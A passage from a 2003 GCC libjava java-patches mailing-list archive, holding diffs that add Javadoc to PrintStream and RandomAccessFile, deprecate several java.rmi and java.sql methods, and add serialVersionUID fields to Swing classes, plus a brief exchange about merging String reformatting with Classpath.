This method prints a String to the stream. The actual + * value printed depends on the system default encoding. + * + * @param str The String to print. + */ public void print (String str) { print(str == null ? "null" : str, false); } + /** + * This method prints a char to the stream. The actual value printed is + * determined by the character encoding in use. + * + * @param ch The char value to be printed + */ public synchronized void print (char ch) { work[0] = ch; print(work, 0, 1, false); } + /** + * This method prints an array of characters to the stream. The actual + * value printed depends on the system default encoding. + * + * @param s The array of characters to print. + */ public void print (char[] charArray) { print(charArray, 0, charArray.length, false); } + /** + * This method prints a line separator sequence to the stream. The value + * printed is determined by the system property

            line.separator + * and is not necessarily the Unix '\n' newline character. + */ public void println () { print(line_separator, 0, line_separator.length, false); } + /** + * This methods prints a boolean value to the stream. true + * values are printed as "true" and false values are printed + * as "false". + *

            + * This method prints a line termination sequence after printing the value. + * + * @param b The boolean value to print + */ public void println (boolean bool) { print(String.valueOf(bool), true); } + /** + * This method prints an integer to the stream. The value printed is + * determined using the String.valueOf() method. + *

            + * This method prints a line termination sequence after printing the value. + * + * @param inum The int value to be printed + */ public void println (int inum) { print(String.valueOf(inum), true); } + /** + * This method prints a long to the stream. The value printed is + * determined using the String.valueOf() method. + *

            + * This method prints a line termination sequence after printing the value. + * + * @param lnum The long value to be printed + */ public void println (long lnum) { print(String.valueOf(lnum), true); } + /** + * This method prints a float to the stream. The value printed is + * determined using the String.valueOf() method. + *

            + * This method prints a line termination sequence after printing the value. + * + * @param fnum The float value to be printed + */ public void println (float fnum) { print(String.valueOf(fnum), true); } + /** + * This method prints a double to the stream. The value printed is + * determined using the String.valueOf() method. + *

            + * This method prints a line termination sequence after printing the value. + * + * @param dnum The double value to be printed + */ public void println (double dnum) { print(String.valueOf(dnum), true); } + /** + * This method prints an Object to the stream. The actual + * value printed is determined by calling the String.valueOf() + * method. + *

            + * This method prints a line termination sequence after printing the value. + * + * @param obj The Object to print. + */ public void println (Object obj) { print(obj == null ? "null" : obj.toString(), true); } + /** + * This method prints a String to the stream. The actual + * value printed depends on the system default encoding. + *

            + * This method prints a line termination sequence after printing the value. + * + * @param str The String to print. + */ public void println (String str) { print (str == null ? "null" : str, true); } + /** + * This method prints a char to the stream. The actual value printed is + * determined by the character encoding in use. + *

            + * This method prints a line termination sequence after printing the value. + * + * @param ch The char value to be printed + */ public synchronized void println (char ch) { work[0] = ch; print(work, 0, 1, true); } + /** + * This method prints an array of characters to the stream. The actual + * value printed depends on the system default encoding. + *

            + * This method prints a line termination sequence after printing the value. + * + * @param s The array of characters to print. + */ public void println (char[] charArray) { print(charArray, 0, charArray.length, true); } + /** + * This method writes a byte of data to the stream. If auto-flush is + * enabled, printing a newline character will cause the stream to be + * flushed after the character is written. + * + * @param b The byte to be written + */ public void write (int oneByte) { try @@ -325,11 +515,20 @@ } } - public void write (byte[] buffer, int offset, int count) + /** + * This method writes len bytes from the specified array + * starting at index offset into the array. + * + * @param buffer The array of bytes to write + * @param offset The index into the array to start writing from + * @param len The number of bytes to write + */ + public void write (byte[] buffer, int offset, int len) { try { - out.write(buffer, offset, count); + out.write (buffer, offset, len); + if (auto_flush) flush(); } @@ -343,4 +542,5 @@ } } -} +} // class PrintStream + Index: java/io/RandomAccessFile.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/RandomAccessFile.java,v retrieving revision 1.13 diff -u -r1.13 RandomAccessFile.java --- java/io/RandomAccessFile.java 28 Mar 2003 13:07:46 -0000 1.13 +++ java/io/RandomAccessFile.java 31 Mar 2003 10:14:08 -0000 @@ -525,100 +525,391 @@ return in.readLong(); } + /** + * This method reads a signed 16-bit value into a Java in from the stream. + * It operates by reading two bytes from the stream and converting them to + * a single 16-bit Java short The two bytes are stored most + * significant byte first (i.e., "big endian") regardless of the native + * host byte ordering. + *

            + * As an example, if byte1 and code{byte2 + * represent the first + * and second byte read from the stream respectively, they will be + * transformed to a short in the following manner: + *

            + * (short)(((byte1 & 0xFF) << 8) | (byte2 & 0xFF) + *

            + * The value returned is in the range of -32768 to 32767. + *

            + * This method can read a short written by an object + * implementing the + * writeShort() method in the DataOutput interface. + * + * @return The short value read + * + * @exception EOFException If end of file is reached before reading the value + * @exception IOException If any other error occurs + * + * @see DataOutput + */ public final short readShort () throws IOException { return in.readShort(); } + /** + * This method reads 8 unsigned bits into a Java int value + * from the + * stream. The value returned is in the range of 0 to 255. + *

            + * This method can read an unsigned byte written by an object implementing + * the writeUnsignedByte() method in the + * DataOutput interface. + * + * @return The unsigned bytes value read as a Java int + * + * @exception EOFException If end of file is reached before reading the value + * @exception IOException If any other error occurs + * + * @see DataOutput + */ public final int readUnsignedByte () throws IOException { return in.readUnsignedByte(); } + /** + * This method reads 16 unsigned bits into a Java int value from the stream. + * It operates by reading two bytes from the stream and converting them to + * a single Java int The two bytes are stored most + * significant byte first (i.e., "big endian") regardless of the native + * host byte ordering. + *

            + * As an example, if byte1 and byte2 + * represent the first + * and second byte read from the stream respectively, they will be + * transformed to an int in the following manner: + *

            + * (int)(((byte1 & 0xFF) << 8) + (byte2 & 0xFF)) + *

            + * The value returned is in the range of 0 to 65535. + *

            + * This method can read an unsigned short written by an object implementing + * the writeUnsignedShort() method in the + * DataOutput interface. + * + * @return The unsigned short value read as a Java int + * + * @exception EOFException If end of file is reached before reading the value + * @exception IOException If any other error occurs + */ public final int readUnsignedShort () throws IOException { return in.readUnsignedShort(); } + /** + * This method reads a String from an input stream that + * is encoded in + * a modified UTF-8 format. This format has a leading two byte sequence + * that contains the remaining number of bytes to read. This two byte + * sequence is read using the readUnsignedShort() method of this + * interface. + *

            + * After the number of remaining bytes have been determined, these bytes + * are read an transformed into char values. + * These char values + * are encoded in the stream using either a one, two, or three byte format. + * The particular format in use can be determined by examining the first + * byte read. + *

            + * If the first byte has a high order bit of 0 then + * that character consists on only one byte. This character value consists + * of seven bits that are at positions 0 through 6 of the byte. As an + * example, if byte1 is the byte read from the stream, it would + * be converted to a char like so: + *

            + * (char)byte1 + *

            + * If the first byte has 110 as its high order bits, then the + * character consists of two bytes. The bits that make up the character + * value are in positions 0 through 4 of the first byte and bit positions + * 0 through 5 of the second byte. (The second byte should have + * 10 as its high order bits). These values are in most significant + * byte first (i.e., "big endian") order. + *

            + * As an example, if byte1 and byte2 + * are the first two bytes + * read respectively, and the high order bits of them match the patterns + * which indicate a two byte character encoding, then they would be + * converted to a Java char like so: + *

            + * (char)(((byte1 & 0x1F) << 6) | (byte2 & 0x3F)) + *

            + * If the first byte has a 1110 as its high order bits, then the + * character consists of three bytes. The bits that make up the character + * value are in positions 0 through 3 of the first byte and bit positions + * 0 through 5 of the other two bytes. (The second and third bytes should + * have 10 as their high order bits). These values are in most + * significant byte first (i.e., "big endian") order. + *

            + * As an example, if byte1 byte2 + * and byte3 are the + * three bytes read, and the high order bits of them match the patterns + * which indicate a three byte character encoding, then they would be + * converted to a Java char like so: + *

            + * (char)(((byte1 & 0x0F) << 12) | ((byte2 & 0x3F) << 6) | + * (byte3 & 0x3F)) + *

            + * Note that all characters are encoded in the method that requires the + * fewest number of bytes with the exception of the character with the + * value of \u0000 which is encoded as two bytes. This is + * a modification of the UTF standard used to prevent C language style + * NUL values from appearing in the byte stream. + *

            + * This method can read data that was written by an object implementing the + * writeUTF() method in DataOutput + * + * @return The String read + * + * @exception EOFException If end of file is reached before reading the + * String + * @exception UTFDataFormatException If the data is not in UTF-8 format + * @exception IOException If any other error occurs + * + * @see DataOutput + */ public final String readUTF () throws IOException { return in.readUTF(); } + /** + * This method sets the current file position to the specified offset + * from the beginning of the file. Note that some operating systems will + * allow the file pointer to be set past the current end of the file. + * + * @param pos The offset from the beginning of the file at which to set + * the file pointer + * + * @exception IOException If an error occurs + */ public void seek (long pos) throws IOException { - fd.seek(pos, FileDescriptor.SET, false); + fd.seek (pos, FileDescriptor.SET, false); } - public int skipBytes (int count) throws IOException + /** + * This method attempts to skip and discard the specified number of bytes + * in the input stream. It may actually skip fewer bytes than requested. + * The actual number of bytes skipped is returned. This method will not + * skip any bytes if passed a negative number of bytes to skip. + * + * @param numBytes The requested number of bytes to skip. + * + * @return The number of bytes actually skipped. + * + * @exception IOException If an error occurs. + */ + public int skipBytes (int numBytes) throws IOException { - if (count <= 0) + if (numBytes < 0) + throw new IllegalArgumentException ("Can't skip negative bytes: " + + numBytes); + + if (numBytes == 0) return 0; - long startPos = fd.getFilePointer(); - long endPos = fd.seek(count, FileDescriptor.CUR, true); - return (int) (endPos - startPos); + + long curPos = fd.getFilePointer (); + long newPos = fd.seek (numBytes, FileDescriptor.CUR, true); + + return (int) (newPos - curPos); } + /** + * This method writes a single byte of data to the file. The file must + * be open for read-write in order for this operation to succeed. + * + * @param The byte of data to write, passed as an int. + * + * @exception IOException If an error occurs + */ public void write (int oneByte) throws IOException { out.write(oneByte); } + /** + * This method writes all the bytes in the specified array to the file. + * The file must be open read-write in order for this operation to succeed. + * + * @param buf The array of bytes to write to the file + */ public void write (byte[] buffer) throws IOException { out.write(buffer); } - public void write (byte[] buffer, int offset, int count) throws IOException + /** + * This method writes len bytes to the file from the specified + * array starting at index offset into the array. + * + * @param buf The array of bytes to write to the file + * @param offset The index into the array to start writing file + * @param len The number of bytes to write + * + * @exception IOException If an error occurs + */ + public void write (byte[] buffer, int offset, int len) throws IOException { - out.write(buffer, offset, count); + out.write (buffer, offset, len); } + /** + * This method writes a Java boolean to the underlying output + * stream. For a value of true, 1 is written to the stream. + * For a value of false, 0 is written. + * + * @param b The boolean value to write to the stream + * + * @exception IOException If an error occurs + */ public final void writeBoolean (boolean val) throws IOException { out.writeBoolean(val); } + /** + * This method writes a Java byte value to the underlying + * output stream. + * + * @param b The byte to write to the stream, passed + * as an int. + * + * @exception IOException If an error occurs + */ public final void writeByte (int v) throws IOException { out.writeByte(v); } + /** + * This method writes a Java short to the stream, high byte + * first. This method requires two bytes to encode the value. + * + * @param s The short value to write to the stream, + * passed as an int. + * + * @exception IOException If an error occurs + */ public final void writeShort (int v) throws IOException { out.writeShort(v); } + /** + * This method writes a single char value to the stream, + * high byte first. + * + * @param v The char value to write, passed as + * an int. + * + * @exception IOException If an error occurs + */ public final void writeChar (int v) throws IOException { out.writeChar(v); } + /** + * This method writes a Java int to the stream, high bytes + * first. This method requires four bytes to encode the value. + * + * @param v The int value to write to the stream. + * + * @exception IOException If an error occurs + */ public final void writeInt (int v) throws IOException { out.writeInt(v); } + /** + * This method writes a Java long to the stream, high bytes + * first. This method requires eight bytes to encode the value. + * + * @param v The long value to write to the stream. + * + * @exception IOException If an error occurs + */ public final void writeLong (long v) throws IOException { out.writeLong(v); } + /** + * This method writes a Java float value to the stream. This + * value is written by first calling the method + * Float.floatToIntBits + * to retrieve an int representing the floating point number, + * then writing this int value to the stream exactly the same + * as the writeInt() method does. + * + * @param v The floating point number to write to the stream. + * + * @exception IOException If an error occurs + * + * @see #writeInt(int) + */ public final void writeFloat (float v) throws IOException { out.writeFloat(v); } + /** + * This method writes a Java double value to the stream. This + * value is written by first calling the method + * Double.doubleToLongBits + * to retrieve an long representing the floating point number, + * then writing this long value to the stream exactly the same + * as the writeLong() method does. + * + * @param v The double precision floating point number to write to the + * stream. + * + * @exception IOException If an error occurs + * + * @see #writeLong(long) + */ public final void writeDouble (double v) throws IOException { out.writeDouble(v); } + /** + * This method writes all the bytes in a String out to the + * stream. One byte is written for each character in the String. + * The high eight bits of each character are discarded. + * + * @param s The String to write to the stream + * + * @exception IOException If an error occurs + */ public final void writeBytes (String s) throws IOException { out.writeBytes(s); } - + + /** + * This method writes all the characters in a String to the + * stream. There will be two bytes for each character value. The high + * byte of the character will be written first. + * + * @param s The String to write to the stream. + * + * @exception IOException If an error occurs + */ public final void writeChars (String s) throws IOException { out.writeChars(s); @@ -653,7 +944,7 @@ * * @exception IOException If an error occurs */ - public final void writeUTF(String s) throws IOException + public final void writeUTF (String s) throws IOException { out.writeUTF(s); } @@ -664,7 +955,7 @@ * A file channel must be created by first creating an instance of * Input/Output/RandomAccessFile and invoking the getChannel() method on it. */ - public synchronized FileChannel getChannel() + public synchronized FileChannel getChannel () { if (ch == null) ch = new FileChannelImpl (fd, true, this); --Boundary-00=_zWBi+Gke22w3mcW-- From java-patches-return-6627-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 31 11:07:36 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5044 invoked by alias); 31 Mar 2003 11:07:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5037 invoked from network); 31 Mar 2003 11:07:35 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by sources.redhat.com with SMTP; 31 Mar 2003 11:07:35 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-67-167.ewetel.net [80.228.67.167]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2VB7YjX019498 for ; Mon, 31 Mar 2003 13:07:34 +0200 (MEST) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18zx6h-0005Yp-00 for ; Mon, 31 Mar 2003 13:05:39 +0200 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI:Patch: java.rmi - another @deprecated issue Date: Mon, 31 Mar 2003 13:09:04 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_QHCi+hZlI673iCX" Message-Id: <200303311309.05297.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_QHCi+hZlI673iCX Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to make a method in java.rmi=20 deprecated. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+iCHRWSOgCCdjSDsRAjzSAJ9jzfvsgKYEyNQtDgNO+4ts6oaXOACgm3PN Z5ARHYRtt/x6RJZsw2DTU2U=3D =3D64w1 =2D----END PGP SIGNATURE----- --Boundary-00=_QHCi+hZlI673iCX Content-Type: text/x-diff; charset="iso-8859-15"; name="rmi-3.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="rmi-3.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1833 diff -u -r1.1833 ChangeLog --- ChangeLog 31 Mar 2003 10:15:47 -0000 1.1833 +++ ChangeLog 31 Mar 2003 11:06:01 -0000 @@ -1,5 +1,10 @@ 2003-03-31 Michael Koch + * java/rmi/dgc/VMID.java + (isUnique): Deprecated. + +2003-03-31 Michael Koch + * java/io/File.java (separator): Merged documentation from classpath. (separatorChar): Merged documentation from classpath. Index: java/rmi/dgc/VMID.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/rmi/dgc/VMID.java,v retrieving revision 1.3 diff -u -r1.3 VMID.java --- java/rmi/dgc/VMID.java 31 Mar 2003 06:32:37 -0000 1.3 +++ java/rmi/dgc/VMID.java 31 Mar 2003 11:06:01 -0000 @@ -78,6 +78,9 @@ uid = new UID(); } + /** + * @deprecated + */ public static boolean isUnique () { return areWeUnique; --Boundary-00=_QHCi+hZlI673iCX-- From java-patches-return-6628-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 31 12:15:06 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22890 invoked by alias); 31 Mar 2003 12:15:06 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22883 invoked from network); 31 Mar 2003 12:15:05 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by sources.redhat.com with SMTP; 31 Mar 2003 12:15:05 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-66-205.ewetel.net [80.228.66.205]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2VCF4jX017340 for ; Mon, 31 Mar 2003 14:15:04 +0200 (MEST) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18zyA1-0005bv-00 for ; Mon, 31 Mar 2003 14:13:09 +0200 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.sql - @deprecated and reformatting Date: Mon, 31 Mar 2003 14:16:35 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_jGDi+XFKaJTh4T5" Message-Id: <200303311416.35164.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_jGDi+XFKaJTh4T5 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to make 4 methods deprecated=20 and reformat some code in java.sql. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+iDGjWSOgCCdjSDsRAtAQAJ9ISpUgtBINSk2qMDg/dH5uXuRxwwCfSpYZ riXAlC98FlvAQQz0wqFLNW8=3D =3DcEsE =2D----END PGP SIGNATURE----- --Boundary-00=_jGDi+XFKaJTh4T5 Content-Type: text/x-diff; charset="iso-8859-15"; name="sql.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="sql.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1836 diff -u -r1.1836 ChangeLog --- ChangeLog 31 Mar 2003 11:23:08 -0000 1.1836 +++ ChangeLog 31 Mar 2003 12:13:27 -0000 @@ -1,5 +1,14 @@ 2003-03-31 Michael Koch + * java/sql/Date.java + (valueOf): Deprecated, reformatted. + (toString): Deprecated, reformatted. + * java/sql/Time.java + (valueOf): Deprecated, reformatted. + (toString): Deprecated, reformatted. + +2003-03-31 Michael Koch + * java/rmi/dgc/VMID.java (isUnique): Deprecated. Index: java/sql/Date.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/sql/Date.java,v retrieving revision 1.4 diff -u -r1.4 Date.java --- java/sql/Date.java 21 Jun 2002 05:39:23 -0000 1.4 +++ java/sql/Date.java 31 Mar 2003 12:13:27 -0000 @@ -86,9 +86,11 @@ * date in JDBC format into a Java date. * * @param str The string to parse. - * @return The resulting java.sql.Date value. + * @return The resulting java.sql.Date value. + * + * @deprecated */ - public static Date valueOf(String str) + public static Date valueOf (String str) { try { @@ -105,9 +107,11 @@ * This method returns this date in JDBC format. * * @return This date as a string. + * + * @deprecated */ public String toString() { - return(sdf.format(this)); + return sdf.format(this); } } Index: java/sql/Time.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/sql/Time.java,v retrieving revision 1.4 diff -u -r1.4 Time.java --- java/sql/Time.java 21 Jun 2002 05:39:24 -0000 1.4 +++ java/sql/Time.java 31 Mar 2003 12:13:27 -0000 @@ -61,9 +61,11 @@ * date in JDBC format into a Java date. * * @param str The string to parse. - * @return The resulting java.sql.Time value. + * @return The resulting java.sql.Time value. + * + * @deprecated */ - public static Time valueOf(String str) + public static Time valueOf (String str) { try { @@ -110,11 +112,12 @@ * This method returns this date in JDBC format. * * @return This date as a string. + * + * @deprecated */ - public String - toString() + public String toString () { - return sdf.format(this); + return sdf.format (this); } } --Boundary-00=_jGDi+XFKaJTh4T5-- From java-patches-return-6629-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 31 12:19:23 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24243 invoked by alias); 31 Mar 2003 12:19:23 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24217 invoked from network); 31 Mar 2003 12:19:22 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by sources.redhat.com with SMTP; 31 Mar 2003 12:19:22 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-66-205.ewetel.net [80.228.66.205]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2VCJKso018581 for ; Mon, 31 Mar 2003 14:19:21 +0200 (MEST) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18zyE6-0005cI-00 for ; Mon, 31 Mar 2003 14:17:22 +0200 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: javax.swing Date: Mon, 31 Mar 2003 14:20:48 +0200 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_gKDi+KItqswckkn" Message-Id: <200303311420.48810.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_gKDi+KItqswckkn Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch fo trunk to merge swing more with=20 classpath. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+iDKgWSOgCCdjSDsRAqTUAJ0V87BBMdHqHC46AITggN3wLrzv+wCgny/D qLnMR8+bWsjmDGeGb255ACU=3D =3D+4RG =2D----END PGP SIGNATURE----- --Boundary-00=_gKDi+KItqswckkn Content-Type: text/x-diff; charset="iso-8859-15"; name="swing.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="swing.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1837 diff -u -r1.1837 ChangeLog --- ChangeLog 31 Mar 2003 12:14:51 -0000 1.1837 +++ ChangeLog 31 Mar 2003 12:18:57 -0000 @@ -1,5 +1,15 @@ 2003-03-31 Michael Koch + * javax/swing/AbstractAction.java + (AbstractAction): Reformatted. + (serialVersionUID): New private member variable. + * javax/swing/plaf/BorderUIResource.java + (serialVersionUID): New private member variable. + * javax/swing/plaf/basic/BasicLookAndFeel.java + (serialVersionUID): New private member variable. + +2003-03-31 Michael Koch + * java/sql/Date.java (valueOf): Deprecated, reformatted. (toString): Deprecated, reformatted. Index: javax/swing/AbstractAction.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/AbstractAction.java,v retrieving revision 1.1 diff -u -r1.1 AbstractAction.java --- javax/swing/AbstractAction.java 9 Aug 2002 04:26:10 -0000 1.1 +++ javax/swing/AbstractAction.java 31 Mar 2003 12:18:57 -0000 @@ -49,7 +49,10 @@ * @author Andrew Selkirk * @version 1.0 */ -public abstract class AbstractAction implements Action, Cloneable, Serializable { +public abstract class AbstractAction + implements Action, Cloneable, Serializable +{ + static final long serialVersionUID = -6803159439231523484L; //------------------------------------------------------------- // Variables -------------------------------------------------- Index: javax/swing/plaf/BorderUIResource.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/plaf/BorderUIResource.java,v retrieving revision 1.1 diff -u -r1.1 BorderUIResource.java --- javax/swing/plaf/BorderUIResource.java 9 Aug 2002 04:26:11 -0000 1.1 +++ javax/swing/plaf/BorderUIResource.java 31 Mar 2003 12:18:57 -0000 @@ -55,6 +55,8 @@ extends Object implements Border, UIResource, Serializable { + static final long serialVersionUID = -3440553684010079691L; + private Border delegate; /** Index: javax/swing/plaf/basic/BasicLookAndFeel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/javax/swing/plaf/basic/BasicLookAndFeel.java,v retrieving revision 1.1 diff -u -r1.1 BasicLookAndFeel.java --- javax/swing/plaf/basic/BasicLookAndFeel.java 9 Aug 2002 04:26:12 -0000 1.1 +++ javax/swing/plaf/basic/BasicLookAndFeel.java 31 Mar 2003 12:18:57 -0000 @@ -64,6 +64,8 @@ public abstract class BasicLookAndFeel extends LookAndFeel implements Serializable { + static final long serialVersionUID = 5484702182266873258L; + /** * Constructor BasicLookAndFeel */ --Boundary-00=_gKDi+KItqswckkn-- From java-patches-return-6630-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 31 14:45:05 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13260 invoked by alias); 31 Mar 2003 14:45:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13237 invoked from network); 31 Mar 2003 14:45:02 -0000 Received: from unknown (HELO email1.byu.edu) (128.187.22.133) by sources.redhat.com with SMTP; 31 Mar 2003 14:45:02 -0000 Received: from email.byu.edu ([10.7.224.202]) by EMAIL1.BYU.EDU (PMDF V6.2 #30538) with ESMTPA id <01KU60FHYYTM8XQ5O4@EMAIL1.BYU.EDU> for java-patches@gcc.gnu.org; Mon, 31 Mar 2003 07:43:56 -0700 (MST) Date: Mon, 31 Mar 2003 07:44:43 -0700 From: Eric Blake Subject: Re: Patch: FYI: some String reformatting To: tromey@redhat.com Cc: GCC libjava patches Message-id: <3E88545B.9020501@email.byu.edu> MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en-us, en User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 References: <87pto836lo.fsf@fleche.redhat.com> Tom, Thanks for finally looking at all of this. I admit I kind of let it drop from lack of feedback and from other events making my life busier. When I get the time, I will try to look over your checkins to see if anything was missed in the merge. Tom Tromey wrote: > I'm checking this in on the trunk. > > This reformats parts of String to make comparison with Classpath > simpler. It also changes some formal argument names for similar > reasons. > > Tom > > Index: ChangeLog > from Tom Tromey > > * java/lang/String.java: Miscellaneous minor formatting changes > to match Classpath more closely. -- This signature intentionally left boring. Eric Blake ebb9@email.byu.edu BYU student, free software programmer From java-patches-return-6631-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 31 15:41:46 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19802 invoked by alias); 31 Mar 2003 15:41:45 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19779 invoked from network); 31 Mar 2003 15:41:45 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 31 Mar 2003 15:41:45 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3.1) with ESMTP id IAA02863; Mon, 31 Mar 2003 08:41:40 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 466234F867B; Mon, 31 Mar 2003 08:37:20 -0700 (MST) To: Eric Blake Cc: GCC libjava patches Subject: Re: Patch: FYI: some String reformatting References: <87pto836lo.fsf@fleche.redhat.com> <3E88545B.9020501@email.byu.edu> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Why are these athletic shoe salesmen following me?? Date: 31 Mar 2003 08:37:20 -0700 In-Reply-To: <3E88545B.9020501@email.byu.edu> Message-ID: <873cl31r9r.fsf@fleche.redhat.com> Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Eric" == Eric Blake writes: Eric> Thanks for finally looking at all of this. I admit I kind of let it Eric> drop from lack of feedback and from other events making my life Eric> busier. When I get the time, I will try to look over your checkins to Eric> see if anything was missed in the merge. I'd say I'm about 60% of the way through your patch. Some parts I've taken verbatim. Other parts, like reformatting, I just did over. Your patch includes some changes to the unicode-table-parsing scripts; I have yet to look at these parts. I'm really sorry that I put this patch off so long. Tom From java-patches-return-6632-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 31 19:07:34 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 23146 invoked by alias); 31 Mar 2003 19:07:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 23134 invoked from network); 31 Mar 2003 19:07:34 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 31 Mar 2003 19:07:34 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3.1) with ESMTP id MAA28166; Mon, 31 Mar 2003 12:07:32 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 3DBAD4F867B; Mon, 31 Mar 2003 12:03:10 -0700 (MST) To: Gcc Patch List Cc: GCC libjava patches Subject: Patch: FYI: update classpath comparison script From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: NOW do I get to blow out the 